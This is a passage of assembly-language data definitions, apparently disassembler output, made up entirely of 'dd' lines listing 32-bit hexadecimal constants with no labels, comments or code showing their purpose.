		dd 0FAEC30C6h, 7F175762h, 0A23C5759h, 194EA65Ch, 0ACD65929h
		dd 46DAE735h, 29D150A8h, 40D4AB41h, 4CC8F64Ch, 0AE9AEDB5h
		dd 726364C5h, 0F47175ABh, 0DDE5A719h, 0D8E64F12h, 1B1D412Dh
		dd 14AB344h, 1CCB70EDh,	0D4BCAE39h, 0F362B731h,	9172B9F4h
		dd 0DA1A17C0h, 6AAA333Bh, 0B508CFDCh, 0BC282683h, 73A7B64Ah
		dd 51E777A9h, 9891D049h, 8AAB6FDDh, 0AE9CD798h,	0C3860C44h
		dd 31192B53h, 0C4A50425h, 0D857FBCDh, 0ED1B8928h, 48300D6Ch
		dd 0FCC3E7F8h, 6892B702h, 0DF30F787h, 8D94CBF9h, 0F3DFCCC7h
		dd 8CB4E31Dh, 0E0002C07h, 0F100E1B4h, 837B27D9h, 0BC576D6Eh
		dd 0AB351298h, 82D155EBh, 3361509h, 4EFFFC85h, 2C1C647Eh
		dd 8D22B4EDh, 176A523Eh, 374958DDh, 0FE26FB5Dh,	91551083h
		dd 402B99ADh, 12D58FF0h, 5DCD4F32h, 0CA717008h,	578F0AA7h
		dd 969E4C65h, 0B332491Ah, 0AEF3D701h, 64A0C2EFh, 293E09DDh
		dd 2A33C425h, 42B2C76Ch, 160C0128h, 0ABE858DDh,	3B619F8Eh
		dd 4CC30F4Ch, 0F647A5FBh, 7C9C3285h, 7405215Ch,	19E44A87h
		dd 59A655FEh, 0AC7429F1h, 0AE8E1F71h, 9AADD1B9h, 0A56B63Dh
		dd 0B1F72C09h, 0BC641531h, 0CE7B8C0Bh, 0C520A0C4h, 4A92522Dh
		dd 2FFE23C0h, 361CA28Dh, 2D074F38h, 59FE2F42h, 15259C44h
		dd 0FAD701C5h, 1E08DE1Fh, 0B43568D6h, 0CF939A54h, 3C7FD8A8h
		dd 0DA1ADA10h, 0C5C70E4Bh, 76B85413h, 672AFAE9h, 9A75E740h
		dd 0BD8C2C48h, 0CA2E25Ch, 50069CB6h, 39CFEB47h,	72CE07E5h
		dd 66567D06h, 323A99CAh, 0F02CE182h, 0A8D71F92h, 9BA69117h
		dd 4A04AA18h, 0D13A404Ah, 0ADBA9FD2h, 0DE3147A1h, 3DC01C52h
		dd 49FFAE64h, 0C92C4EDEh, 0A2C1BE11h, 39A777C2h, 0ABC80054h
		dd 2F53CD33h, 42134485h, 0AB3E699Bh, 7CCA927Ah,	8A1E9648h
		dd 20951E10h, 0CB0F6B3Bh, 0DB24C1Ah, 0EA0C43BAh, 0BBB45791h
		dd 2524123Fh, 2B9EC5FAh, 0C41FB9E8h, 1AAC69DCh,	0D240C1FBh
		dd 0B0234D96h, 834F3F98h, 773A12FFh, 92FE7412h,	0F1FF7594h
		dd 3084A9Ah, 44F7A9B2h,	97577220h, 91864081h, 96ED314Ah
		dd 7F7EA99Ah, 0C28FE8EAh, 62149AA4h, 9BE85F16h,	0ED1637F5h
		dd 0A4169C43h, 0F13B64E0h, 0F47DD8F7h, 4BF4A4Ah, 0AE941C91h
		dd 4EA17179h, 63AF7FD5h, 1EAC42F8h, 0AE0CD0B7h,	0FA101401h
		dd 474B6B39h, 0F02C33C9h, 605749B9h, 4EC894CDh,	0C0462C8Ah
		dd 7832718Ah, 1C1D86D1h, 0AC5F1B21h, 831BA3F7h,	9BCE6E26h
		dd 401F2144h, 4A597AB9h, 44C07308h, 900FCB6Eh, 0D42FDA09h
		dd 70B18ACDh, 0BF13903Ch, 9F1F4848h, 0C71E9B06h, 0D5BBDBD8h
		dd 37613974h, 0C6F3DEB5h, 15249217h, 401FF3E0h,	6EDD32F6h
		dd 0E662F1A7h, 856D15C9h, 1852DA43h, 0CE3A00E3h, 0D323B7DCh
		dd 0CC85B6CAh, 0E3080459h, 58196284h, 68FAFD50h, 42ECB20Fh
		dd 0F1F5E8DFh, 0EEAEBB74h, 3E17ABB9h, 60DEFB92h, 70054F72h
		dd 158A7A92h, 0C73203F9h, 62E36D17h, 790F6458h,	0BC2B304h
		dd 0BD8A131Ah, 0F7E997C8h, 0F9AB3174h, 0D7A99C9Ch, 9B7D0EDEh
		dd 233796AFh, 1EC59F29h
		dd 0EB4F08A1h, 0B61FB23Eh, 83DFEBCEh, 0A9D6DF31h, 20138054h
		dd 68FFF8F0h, 40178B60h, 90A61297h, 0C81F5A2Fh,	0EB604193h
		dd 0C01213CCh, 0AB71A964h, 0B649D846h, 48A44FC4h, 89FA240Ah
		dd 8374B472h, 941128Ah,	6BC2222Ch, 0EF19972Fh, 41FAF1E9h
		dd 0BD5C1F8Ah, 0DEB163E2h, 0EE59A93Bh, 1B1F153Dh, 6B5146A7h
		dd 2AD93BC0h, 89CB7600h, 9C9A2A9Fh, 677641B9h, 217FDF41h
		dd 0CA4D42BEh, 88929AA6h, 0A5DA93CCh, 0FD4CBE56h, 34A75A97h
		dd 7301606h, 2240D382h,	8D33E64Ah, 35743298h, 91DAA423h
		dd 647A5C2h, 808C0F3Dh,	0D8CFAADAh, 0FC48F710h,	0C2311BD9h
		dd 90B7E903h, 76FE1946h, 3E27611Ah, 8D36FB9Ah, 0E0FD377h
		dd 4AC750BCh, 0C80F47E0h, 454AC6F4h, 97873708h,	0CD7F258Dh
		dd 0B0B627DAh, 141F62BDh, 722BC0C5h, 0F26A2501h, 51C2F6A7h
		dd 0A6C47AA9h, 8BE743h,	0FD2A3C19h, 2777D2C7h, 0C2BCD091h
		dd 0DA9E4442h, 0C3EFDAF7h, 0F94E221Dh, 6EE33D7Eh, 0ABAB3975h
		dd 0F7161005h, 0CC6BF7DAh, 0F35EA1D0h, 4A3C3693h, 7F7A4231h
		dd 9309C839h, 0D00CC3A4h, 97A96B25h, 16257EA5h,	71E61CB5h
		dd 92EA6692h, 0AB5702A9h, 8B002792h, 0DE8A4549h, 6C2E6C1Ch
		dd 0D5262790h, 0E2193E87h, 729C5BC4h, 0E6AF23DBh, 954CE9B7h
		dd 0D71BBFB4h, 0C325CF2Ch, 0ACE2DA4Ch, 4116702h, 0E61A2DC9h
		dd 2C7651DEh, 0DEDB1BF9h, 0B382542h, 6362E31Eh,	0D79AD5BFh
		dd 4C605DE9h, 0D52CD498h, 1E8456Ch, 0B7154FD5h,	42D69C00h
		dd 71F53F8Fh, 36A0E2E8h, 4A67A0DAh, 0CD2E1BDFh,	0CB5426B6h
		dd 5DC701B2h, 0BDC676ABh, 0CA8F259Ah, 40481D34h, 0CD84CEBCh
		dd 775762C2h, 0F7549DC4h, 0A9A21538h, 20C73EFFh, 8BF901C5h
		dd 9974447Fh, 77443BE4h, 0AA067A92h, 429D9455h,	3DB32DD1h
		dd 5EBF2F68h, 0B62B411Fh, 0FDBE1436h, 1AC420DBh, 39EB9A57h
		dd 0BEE85EE5h, 3F9388DCh, 0E99CEE97h, 0FAC06FCDh, 2A1A1843h
		dd 0EA0C5FD5h, 3ED84AB9h, 0FADC140Bh, 1D191846h, 95EA7B4Ah
		dd 624B3C9Ah, 0F596E297h, 0A60FEDE9h, 118D43Fh,	4CAE3F9Eh
		dd 0E9C08FAh, 37B6C621h, 6E82B2BDh, 87646C3Eh, 3E7833B6h
		dd 0E59C28FCh, 0FD2D9A41h, 0CB975AB4h, 0C04D6BFBh, 3D55CF94h
		dd 1D710E3Bh, 0B3C227E2h, 0C51663BFh, 1E77C890h, 4A6D1416h
		dd 3563EB03h, 3E7B7B40h, 9C014877h, 0D7EB60A5h,	0B64C2C12h
		dd 0F42E3FD5h, 0A67DFE79h, 0D5C16DA9h, 4EA602A2h, 96E863FDh
		dd 97EB4044h, 0E60844E6h, 92444097h, 0D12F4081h, 0DDF696F0h
		dd 8AEF92DEh, 0B0259BF1h, 30D4CC8Dh, 9328489Ah,	0FC97CDE4h
		dd 0DFC6ABAh, 47A9E6E0h, 0EAEE433Bh, 0A71A3EBFh, 0E93E9E8Fh
		dd 0CAB74D58h, 9507BE89h, 0EAC848h, 0CD8A97B1h,	0EAC86373h
		dd 0B77F448Fh, 0F853CDC7h, 5DCFA488h, 0F5AC16CFh, 0D18890F9h
		dd 2AA5EA3h, 7DF38B2h, 5D9603CBh, 6CD212CCh, 79C40F2h
		dd 1A3D23B4h, 9CB8D30Eh, 1E445C99h, 0DA75105Dh,	0C55A7B86h
		dd 84E526D3h, 29C70696h, 1E07D1B7h, 4A1F4186h, 7222EB61h
		dd 2D520943h, 2E76BEA5h, 86BFDD95h, 0FCE0B283h,	6027FFD9h
		dd 28C19831h, 74922FE7h, 113FCEF1h, 0D43B9016h,	90B2AADh
		dd 0FA98F375h, 2DB64162h, 0E37F12C6h, 0A82074D2h, 0E5F3B6F2h
		dd 0AF1F6A3Dh, 4A1BCA5Fh, 0CC147A0Eh, 0A3541E09h, 1F9A127Fh
		dd 0C5984BD8h, 0CE9223B7h, 9E281A35h, 281BE800h, 201B5600h
		dd 0C061E938h, 605E5BEh, 491F6A99h, 0D59C9C99h,	405F47CDh
		dd 6E463321h, 2114933Eh, 1014CEC2h, 461CD848h, 197A5320h
		dd 4C7F5A5Ch, 0D407FCBh, 3132801Dh, 0AB233590h,	0E9F01487h
		dd 0C0689E86h, 0C3517872h, 0C52E7A73h, 4C53B6C9h, 26D42F80h
		dd 26E3ADC5h, 4A2AB835h, 74B71160h, 0F7C9B5F9h,	28577371h
		dd 0D6EB59D1h, 0D2511419h, 20C0D445h, 824CCAC3h, 481185FDh
		dd 0BD0B51CDh, 0A03CA794h, 0D62ECE48h, 25DFC7B2h, 0C7C3FA52h
		dd 0D9CB0919h, 0A00410B2h, 0F8A3AE3h, 9EAC76Dh,	6ACF6FF9h
		dd 0A71FD1C6h, 187B222Fh, 9BAAA667h, 209A03CDh,	0D5F28223h
		dd 45ECC1E3h, 0D9DB7340h, 2918AD81h, 0B3C114CBh, 49117CA6h
		dd 91210682h, 19E1A410h, 329202D1h, 85B93575h, 0B511A6B6h
		dd 62D8DB3Ah, 0C31A2778h, 94EFE71Dh, 176395ACh,	3FF2650Dh
		dd 0E95B2ED2h, 0FF69922Dh, 9769E589h, 0CF172CE7h, 0F6DFA507h
		dd 0E4253091h, 770CA2DCh, 0D810772Bh, 45BB7748h, 0FB76F45Fh
		dd 6646F103h, 990C5B4Fh, 0D96D3AECh, 1B132682h,	0D579AC27h
		dd 0F2AFF7B7h, 53C3153Ah, 757F9EF9h, 0F516D6F4h, 1D271B8Dh
		dd 3115308Bh, 0A90ECF90h, 0FF10BDFDh, 0CF1FCC18h, 0DAF3F4D9h
		dd 36A5CC36h, 3A410AC7h, 321341CDh, 369B0D06h, 0BC1E7A6Eh
		dd 0C19AFBAEh, 59DA10FAh, 0F9242980h, 0B460EBE2h, 341D0BEAh
		dd 491166D1h, 1771A4E1h, 0CED4ACC0h, 449715CDh,	601628E2h
		dd 0DD9C233Fh, 0DF62E0F9h, 0C8AFE870h, 2714E28Ah, 0DF51A349h
		dd 38F197FFh, 4AF04003h, 0C2266EDDh, 0D99A53BCh, 0B5360360h
		dd 0B03BCD3h, 0EAB6A2ACh, 0C8F300D3h, 8ACAE840h, 60BED5AAh
		dd 0D19415EFh, 0D7A199C5h, 2D0BB7D1h, 0C563D1DEh, 0BDD742A9h
		dd 0D1612E91h, 2E7ADC83h, 909C5163h, 0FC6FA344h, 4611BBD5h
		dd 0C6B5C1F3h, 80B97BEDh, 4DB74EFAh, 0B7999092h, 0B7150EB5h
		dd 43545BABh, 4A07D60Dh, 1F5C41EEh, 2150014Ah, 0E03BACCFh
		dd 8368E0D3h, 4FDC7D92h, 0A87AC944h, 0E17D6117h, 0DA1F1497h
		dd 47C01A2Dh, 0AB135BCFh, 77C00679h, 7E57BDA8h,	282CF80Bh
		dd 0DF777FEFh, 0EDADF210h, 86009BDBh, 72AF7DCDh, 68DE4195h
		dd 8C2E32BFh, 6CA18EA4h, 855F9871h, 0C30A63FBh,	0AAB563E7h
		dd 42D10B3Ah, 0E5C00B97h, 20761A3h, 0B878B5Ch, 0C6053CF8h
		dd 71281CEEh, 0DFFC0DEEh, 0F19D0FD8h, 0DB08079Fh, 2FBA8D90h
		dd 0F65C5685h, 0CB5BA49Ch, 0C7EF0641h, 0D3637B3Dh, 0A5A63BF4h
		dd 39449245h, 8304A49Bh, 93AEEFF8h, 6A112D65h, 0E74746C6h
		dd 0C719616Ah, 0BFE2C31Bh, 0DC0A0892h, 359CF3A5h, 53C40B79h
		dd 0FA14EE86h, 7C0ACC50h, 9A2C6B22h, 9FAC4862h,	58778561h
		dd 3D5346FCh, 0BA06E9B3h, 920CF3CBh, 4E4B9EC7h,	0D809B2EDh
		dd 0B7740C00h, 63106C43h, 0B19373F8h, 50983641h, 0CDA77960h
		dd 114172D3h, 0E7C7AAEh, 0E05163D1h, 46C82CB1h,	3FA05F7h
		dd 8E2EC69Eh, 0B212FC36h, 13442978h, 0FD8EA28Eh, 8D031CCFh
		dd 802EF66Eh, 5164E8F5h, 759CF9AAh, 8861D9EEh, 0B4097D16h
		dd 0D1B6D1DDh, 0E60E1FE7h, 0C98E6B23h, 48C755B5h, 0D8873745h
		dd 87600B52h, 0CB1625CBh, 0DF46194Ch, 0E1D5156Ch, 1DD71C36h
		dd 846F2ED6h, 47DD00A6h, 0A9A6AFA8h, 0B26BD0FFh, 9340D890h
		dd 2313C5D4h, 2A0349B7h, 4477D996h, 0FAC32597h,	191E0C23h
		dd 90C2BBA6h, 9013FDEAh, 0AC732482h, 4BCFDBC9h,	0F7578400h
		dd 0D20B4567h, 0D5E759C5h, 21FCA591h, 0E91355EFh, 0C320D626h
		dd 73E62797h, 0FC12107Eh, 9803F90Fh, 829CAB9Ch,	0CD2C1E48h
		dd 8D0DC665h, 44A49BD3h, 0EF189967h, 4E91A8A9h,	0B31C2651h
		dd 0EE9BA6D1h, 36FE96D7h, 0AB1F0917h, 0BF138F2Eh, 0B119E7D3h
		dd 93CD8FDDh, 857CF11Eh, 2E4F170Fh, 4C87CD18h, 71FB00C3h
		dd 1652E3FDh, 15D29EAFh, 6A3C754Ah, 8754E026h, 0C8134CA1h
		dd 0EE1D3CCCh, 0EBC318ECh, 73C51A3Fh, 0BB17A192h, 0D502AC73h
		dd 36CDFCD2h, 7BD3AFFBh, 0FAC711AFh, 0BFEDA9D1h, 6AC60722h
		dd 171DF16Eh, 31F92451h
		dd 8A12109h, 0CF14429Bh, 0DCF3EBC5h, 3D9CDF33h,	11B1442h
		dd 0CE1FF8C3h, 176F19B7h, 9EE07DC4h, 0EF1807D5h, 4C6D625Ah
		dd 8A13808Bh, 21440636h, 3B618798h, 9144A1Fh, 0D737C791h
		dd 0A437D119h, 2C824FC2h, 0F05F0C99h, 80397B09h, 37CEF732h
		dd 2A471021h, 0B44B99DDh, 0B2BE3B91h, 0AB10CDD1h, 0F191C7CEh
		dd 6CD64F36h, 0DAE1E01Fh, 0F2160D87h, 26A972F2h, 0F58530B2h
		dd 0A8B6944Ch, 0EFAEFA19h, 95FC4F65h, 0DCA27BA1h, 0A48DCE6h
		dd 2A771CFDh, 2A4309F5h, 0A5EC0638h, 81FC3C8Bh,	0D303A4D6h
		dd 70DAFCFDh, 0D762FBBFh, 0CA4F3A4Ah, 0BE41475Ah, 0E9004D06h
		dd 3FC57FB9h, 12EE1519h, 70372BAEh, 0D5627F03h,	0F1BB35E5h
		dd 0F3E79457h, 6EAB83BCh, 0B34F9A46h, 0D1A202B4h, 0B1D34B3Bh
		dd 0D571A530h, 0ABCB95D2h, 71312EA0h, 8E008B27h, 52569689h
		dd 0D119D9C7h, 0AC0C43C0h, 9D1A6D51h, 0ABFC62C4h, 0CA34ABC8h
		dd 63B5DCB7h, 0C7D8F6C9h, 0BDD21FC8h, 0B0D31131h, 0DCDBBFC6h
		dd 95A35F01h, 40C71C0Dh, 867FCF31h, 3398224Ah, 0C28FD57Ah
		dd 84FB9373h, 410700CEh, 0C78F9D76h, 0AAD70815h, 9A127322h
		dd 0C52F4D98h, 0AACCDF1Fh, 6B478B5Fh, 0E348BAF5h, 17129FDAh
		dd 36E4913h, 2A1913A2h,	1EFFF9D2h, 0BCED91A4h, 1445C5Dh
		dd 0EA185DC1h, 7ED2A978h, 0DA0F4D9Ch, 0C2D65A75h, 59B87DFDh
		dd 312FCCB3h, 9047A720h, 0C56F1E69h, 44BD16AEh,	81EA36ECh
		dd 32524789h, 13DFF7E0h, 6F8F65E1h, 0CBBB478h, 0DE591381h
		dd 838F42E3h, 64BFDED9h, 41DF0F7Fh, 723B1309h, 4F259F00h
		dd 0C6AFA501h, 2055B6F5h, 0CEEF5621h, 341CD54Fh, 0B47110D9h
		dd 0CB7D3FABh, 92FD0D68h, 428E82CAh, 0DA84E9D8h, 0C0A99EC1h
		dd 3724C249h, 0DE690521h, 0B1676BBCh, 84F75892h, 5B238646h
		dd 9F4BEF02h, 0B4C8408Fh, 0B0FBFC96h, 0E651E97Bh, 0FFE0AE3Dh
		dd 83456483h, 93AE2528h, 41DB0CABh, 0EFB609ABh,	0E780A002h
		dd 74514229h, 0BDFD34C5h, 6CBC4D43h, 0FD0784CDh, 0A6BA803Dh
		dd 0D15E3FD6h, 5DE8166Ch, 0A99AA4A6h, 3851E16h,	1A797CA8h
		dd 0A71561BBh, 98FD7F10h, 195531CFh, 0B4326633h, 29D37DDBh
		dd 83745B1h, 0AC3E8078h, 9D65FFCDh, 3176DFB3h, 0BC54E731h
		dd 0C662E642h, 0FF9270ABh, 0CB6A973Bh, 460E08E4h, 0BA39B5EAh
		dd 57A0EF98h, 0E233DF39h, 96CF6ADDh, 8A197BDAh,	0A30CCF5Bh
		dd 560B0A1Ah, 11C7A511h, 0AA0DFC87h, 7F526A5Fh,	0D8626C3Eh
		dd 7945565Dh, 90049E71h, 294981E0h, 62B65F18h, 0EB37159Eh
		dd 86260C86h, 9326518h,	0F045DF3Eh, 1B2C8F64h, 7BCB3CBAh
		dd 6C37E490h, 0C1556DC0h, 4AA9FB21h, 0B4CFCCE0h, 3D07AFBCh
		dd 0EA7D9508h, 65DBE892h, 83E711F1h, 0D9971315h, 773925C7h
		dd 21B47475h, 0D134EF37h, 3EE16F1Ch, 0E03C0FB5h, 3415B48Ch
		dd 0ED14B645h, 45D856C4h, 19F5CBECh, 0C96A1FC7h, 0D27A99D9h
		dd 14736CFAh, 494A0DCCh, 1D0418CBh, 3EAACFD0h, 0C05A13E6h
		dd 0C59FCB4Ah, 4830C609h, 91BFE7BBh, 14FBB877h,	866BDB10h
		dd 15BD931Dh, 65B4871Dh, 0BF9401F0h, 0CBA9FBADh, 0C6C8C521h
		dd 0C3C8C7BDh, 0C03D450Fh, 35F40AB5h, 2EC918AAh, 0AB06CB4Ch
		dd 97446235h, 84183907h, 2E1A162Dh, 6DEF27CCh, 0D7D62F64h
		dd 872D3CF1h, 0D21C14A1h, 0CECA278Ah, 1F024CDBh, 71789283h
		dd 213B4142h, 0E109368Eh, 7005B78h, 0EA2477Ah, 0B6A19012h
		dd 4E093729h, 2FC344F3h, 0CEF59D34h, 35DF17FCh,	88891DC7h
		dd 5684B725h, 8AEFC972h, 1E419F8Ah, 0C80E1037h,	49A77351h
		dd 37BBB744h, 0AB3A1C64h, 73A90521h, 0A9BB7874h, 2F0F1DFEh
		dd 1A7AEEF4h, 841AA325h, 0B11319D3h, 51040497h,	0C52A2555h
		dd 0C53B5C7Ch, 0CB3C0B4Ah, 0BE1D4032h, 0BA53BE5h, 39C31EC9h
		dd 0D45A97F4h, 280FD6C2h, 0DDD50F71h, 0F515294Ch, 36C9FCD6h
		dd 0D0D862ABh, 0D1E7F547h, 152169E8h, 0CAC03F0Eh, 0F53152F2h
		dd 1BBF33D5h, 0B2608B0Ah, 23CCD38Ch, 0D4CF94D7h, 0C5C39C89h
		dd 0F8F6B4DCh, 69FC39C7h, 0DB4E4593h, 0A91F3D54h, 0D887B501h
		dd 70C30CDh, 358718E4h,	0AE870B87h, 3E0EF064h, 0DFAF1FB5h
		dd 0ACBCAFE4h, 81F45F89h, 0EF8C2E2Fh, 0BDA22A02h, 0BE9FBEDBh
		dd 0D1AF8F56h, 594E054Bh, 0C5B82101h, 44911BBAh, 0FBC9D153h
		dd 86113CCh, 0DBCACBC5h, 0F8F35122h, 0E32F2FCFh, 0E20CEA00h
		dd 5FEB9AD9h, 3DA99B2Ah, 0EBBE065Dh, 3EE8192Ah,	9AE0E892h
		dd 60A9782h, 0C81F352Dh, 0ED304E4Fh, 0D113EFCDh, 24730752h
		dd 0D50B2ED1h, 98590FF8h, 0DD2781E9h, 578437FDh, 0E55BF2A5h
		dd 0ED733F99h, 8F7F2E98h, 0F55927B1h, 246B8152h, 0FD832F49h
		dd 0F84EF2A5h, 85AF576Dh, 57844E8Fh, 8DDB5F05h,	24734750h
		dd 95FB2E1Dh, 0ED304F5Dh, 0C14BDCD0h, 0DDDC07A1h, 7373DEB3h
		dd 0F17B33A9h, 0ED30A55Dh, 856F2BB1h, 8653116h,	91255BB5h
		dd 97B7F503h, 17154F97h, 0EF94938Ah, 6893AEE8h,	376D3BC3h
		dd 0F908A7C2h, 0AC7D1A9Ch, 0C9C5328Ah, 0DE9FF412h, 0C918F5BAh
		dd 7476B679h, 4CCA1464h, 6E58128Dh, 81449664h, 0E400508Fh
		dd 69547778h, 8111CADDh, 99D2F3D0h, 0E17006A1h,	92196A52h
		dd 69B94D83h, 0F806F3CBh, 51854B51h, 80BF1653h,	15EF6Ch
		dd 0DE0F0E29h, 4B116791h, 0E98FC1F6h, 704A4776h, 929E4450h
		dd 0C06D223h, 911F7CD7h, 9162E255h, 0CC3E58CBh,	626F6172h
		dd 600462ABh, 99C0961h,	0CEAD423Dh, 837E75ACh, 0A571DFC7h
		dd 0CC64138Eh, 0FFCB107Ch, 0E607A6D5h, 9EE5A5C2h, 0F01E3AF8h
		dd 9CEF1D04h, 0B3861D02h, 15997989h, 233C444Ah,	7601DE88h
		dd 4259E9D8h, 1B663998h, 74E33768h, 59178DC5h, 4AD0FBD0h
		dd 991F32A0h, 49563101h, 2117ECF3h, 4B1118BAh, 5DD3F0C6h
		dd 0C34647C8h, 7D478261h, 78C195CFh, 68DD391h, 0D711B218h
		dd 6D7743C7h, 6917A7B1h, 812C5639h, 5C7BC73Dh, 0EA192A3Dh
		dd 0CB4F6B95h, 0C80ED3CFh, 0FD30852Eh, 0F19C4249h, 0E44884BBh
		dd 0A43E1423h, 882B4DAh, 0FFC6BFB2h, 983CEDAh, 0C76B38AFh
		dd 25263h, 53E08825h, 79DAF3D1h, 0F4D7737h, 495B10CEh
		dd 53EA4F5Ah, 7A3B5961h, 0D7C4DF88h, 0AE97EE7Eh, 51363857h
		dd 9B13BB7Ah, 92982118h, 9600B8C6h, 9F2FC226h, 6D189626h
		dd 0AA4D1796h, 0CDCEA345h, 0D56477ACh, 0DE4FC3C7h, 41B89F03h
		dd 0A7102E99h, 186C084Ah, 0FD8F1B61h, 6AE797BEh, 0B64D2F4Ah
		dd 3F8CE8F6h, 7105DBB1h, 43695CBBh, 0D381CBAFh,	21B53AA8h
		dd 2C4E799Fh, 25715FD9h, 0FA6D7B82h, 69C30490h,	0C5886B44h
		dd 4DE3B1h, 1C0E1A31h, 0E05018B2h, 9922C747h, 2C1CA5C0h
		dd 5D79C7F3h, 416C0B49h, 0AD488842h, 40B20C09h,	1DCB2462h
		dd 3363ABC0h, 25A7877Dh, 425F0EA5h, 7DCB7D1Ch, 0CE13D882h
		dd 92ED0A25h, 78C13574h, 0BC9D5769h, 640504A2h,	0DECA512Ah
		dd 0CE83EFC0h, 0F3378EC8h, 0BA08CAD4h, 31C39EBCh, 3690C3F4h
		dd 39E01B15h, 3E00C8DAh, 0BD8811D3h, 44E83415h,	72DBE8C0h
		dd 5B547AB8h, 0DA31F8Ch, 0C876FFBBh, 842A3775h,	7158E1E4h
		dd 2A7DF931h, 591B3A8h,	71A48927h, 0ABD37C0Eh, 11BB2Dh
		dd 6DD30E89h, 820FADC6h, 139F0E19h, 0D113793Ch,	0FA5F8A5Ah
		dd 8FE91FF8h, 0C746D6DCh, 0CD5A8AEAh, 17E1FF32h, 0D3FB63D1h
		dd 41174B2Dh, 0D1B01A3Fh, 0F15375D1h, 0C1887AA3h, 3B76D508h
		dd 90FD5BC0h, 982EE844h, 0C9AF43E5h, 0CC1B1A31h, 797969E8h
		dd 8CB2A63Ah, 0CD1D1877h
		dd 0EAF12400h, 983C082Fh, 9C15C9D1h, 26D9C012h,	832C1C06h
		dd 0EDC63D87h, 1A1E3C7Eh, 0D97DE283h, 1DF1F1A1h, 41F3EB73h
		dd 7CBEA41Eh, 0C341B372h, 0B2E171BAh, 0C90B2408h, 2E682401h
		dd 0E20DFB2Ch, 0D11C5671h, 0B2E00501h, 6BFC62FEh, 3AE8C3CCh
		dd 463C2837h, 0D792DCB4h, 6DC6FCE9h, 8C04FFB5h,	0DD86DE2Ah
		dd 211F5F00h, 6CC8BBD4h, 0FC17BFDFh, 0CB976A44h, 0B239EBC4h
		dd 3FFA68E2h, 0B652EFBEh, 4AD25654h, 9746A4C0h,	6549E732h
		dd 0A674FC4Fh, 0C3C5CC3Eh, 4B0162C4h, 13D451D3h, 0A1046380h
		dd 4B246BB3h, 33D4BF2Fh, 9C057636h, 95174139h, 0C1424021h
		dd 53389D3h, 0EFD54D98h, 0AB7A516h, 0B3EFC485h,	0F924D464h
		dd 883702F2h, 0AAB54FEDh, 839310EAh, 7E972CE4h,	5A050443h
		dd 53F7EF70h, 981B5BD1h, 8B988D35h, 0E61431A7h,	776CC6B4h
		dd 2DB033B7h, 0CA73EE8Fh, 0BB0804E1h, 9F5307E2h, 3BC21FFEh
		dd 0A012432Ch, 0C9FB345Ch, 0DB0102F7h, 2DB680F2h, 0EA072F97h
		dd 6D401257h, 7684F6CBh, 6DCBFD44h, 5B6FA0Ch, 12168FF4h
		dd 84BE4B1Dh, 6A60E6DFh, 0C05342F0h, 6BD46393h,	37621745h
		dd 8E604260h, 0C9241F55h, 4DFA1DCh, 8E63EF99h, 0CDF23F2Dh
		dd 0C3B14B34h, 0AC7446BAh, 0EC2D80FDh, 951144EBh, 1EBAC1A5h
		dd 174CEDF7h, 0C462F0B5h, 7297C16Eh, 9FC950B0h,	985768DBh
		dd 0D19754CFh, 134177Eh, 0F3D7D8A8h, 3E13FCD7h,	0F93E1EC0h
		dd 0E51469ABh, 0E45F2588h, 301AE5EEh, 9BBF3F00h, 10FF169Fh
		dd 42AF22E1h, 6B52FAD4h, 306DA2C9h, 1D17BA8Eh, 40EEB880h
		dd 1868A0BDh, 82BCD7C7h, 90A31B01h, 9578E011h, 0EC405CDAh
		dd 0A99620F8h, 0F4A1F13Eh, 6DE0CF1Eh, 0C924D629h, 0F12C9374h
		dd 8965F24Bh, 0E317B361h, 95113BE8h, 3A9AF5CAh,	0EED3CC3Bh
		dd 9D9D89BFh, 0FD761B62h, 0FD6D6BC8h, 9EFF68C4h, 0BE6AA0A7h
		dd 2B86EBh, 0E66B5649h,	9BFF13FDh, 6F69E6C6h, 7804CE4Dh
		dd 4C1B43F4h, 0BAF7520Fh, 0A9D527BDh, 19CFAF51h, 600E4896h
		dd 9E479566h, 0ABA056CBh, 0CC6D485Eh, 0C0274F79h, 0DAAFB5C0h
		dd 79131448h, 0F09774C8h, 0AEA4423Dh, 5CB539F3h, 0E9AAC120h
		dd 9FBFF33Fh, 0F09A796Fh, 4C869AD7h, 0B93C87F8h, 0E92D439Ah
		dd 0D7A1F3h, 0FAA1E34h,	0CB93F794h, 0D75A2655h,	0F36B51FAh
		dd 0D1A81D6Fh, 0FAD829C8h, 0BD636214h, 0E1F1366Dh, 4E0F1F23h
		dd 0C08B0131h, 0AD7B4697h, 6FCAA31Fh, 8613B5B6h, 0AB5D1184h
		dd 961DBE7Fh, 91B50130h, 0A9901266h, 0DDC38AC0h, 0C97756A5h
		dd 5C95832Dh, 865F48CAh, 1AF917E7h, 8E13E68Bh, 460A5F39h
		dd 0F75C5517h, 0B13F1A8Dh, 0E567C069h, 1160584Bh, 6E17F3FAh
		dd 0AB1362CBh, 5A166681h, 5102922Eh, 1AA8EA40h,	4C139E9Fh
		dd 3E5E8702h, 0C94D1E90h, 0BC052C03h, 3FA8CFE4h, 4C0327D0h
		dd 0B313954Ah, 0F32C5748h, 314956AEh, 0A99384DBh, 0AFCD362Bh
		dd 405174BEh, 0F256C79Bh, 99EF4C4Ch, 39E19AB6h,	0C9294E54h
		dd 0F8E6727Ch, 0B4534E98h, 7E82E867h, 44CC9BAEh, 0BF21A648h
		dd 0AB1CE258h, 3E944836h, 3FBAD037h, 0F106D6BBh, 73125FCAh
		dd 4BCFE12Bh, 5DB400D5h, 4BD5683Ah, 0CC15A5C2h,	0DF15CFC3h
		dd 9B02DC87h, 0B9BEB7C2h, 0BA736BDh, 7EBF7D01h,	2E951385h
		dd 80A117ABh, 0D19921EAh, 6D1BC07Eh, 0AB03EC5Ah, 0BE5E0175h
		dd 71342h, 0C54314C0h, 0B50F7075h, 2795D9Fh, 0A9C81B40h
		dd 0B00E7F0Eh, 0D8C94F2Ah, 9B9CD963h, 14785531h, 0BACE0B81h
		dd 0AABD691Eh, 78FD3CCAh, 3C5D69h, 0F77D12D5h, 0D1045C33h
		dd 0AB7BC438h, 780743C6h, 8067B9B7h, 29D75CF5h,	0BCCFD10Bh
		dd 556EBE5h, 7E75358Bh,	0C4191F81h, 4CFCAD8Eh, 4A8913CBh
		dd 1B789FDEh, 4803A1D3h, 0CC45963Eh, 97BA4494h,	59B581AFh
		dd 0C28F7487h, 0E79C149Fh, 0DF3DE968h, 42D17DD1h, 96B61F4Eh
		dd 0E1A88100h, 8D9CFF2Ch, 0AF184074h, 1E23A7CAh, 2111E58Fh
		dd 585E7998h, 99234A9Ah, 171D3F33h, 484A75FEh, 0E24FF344h
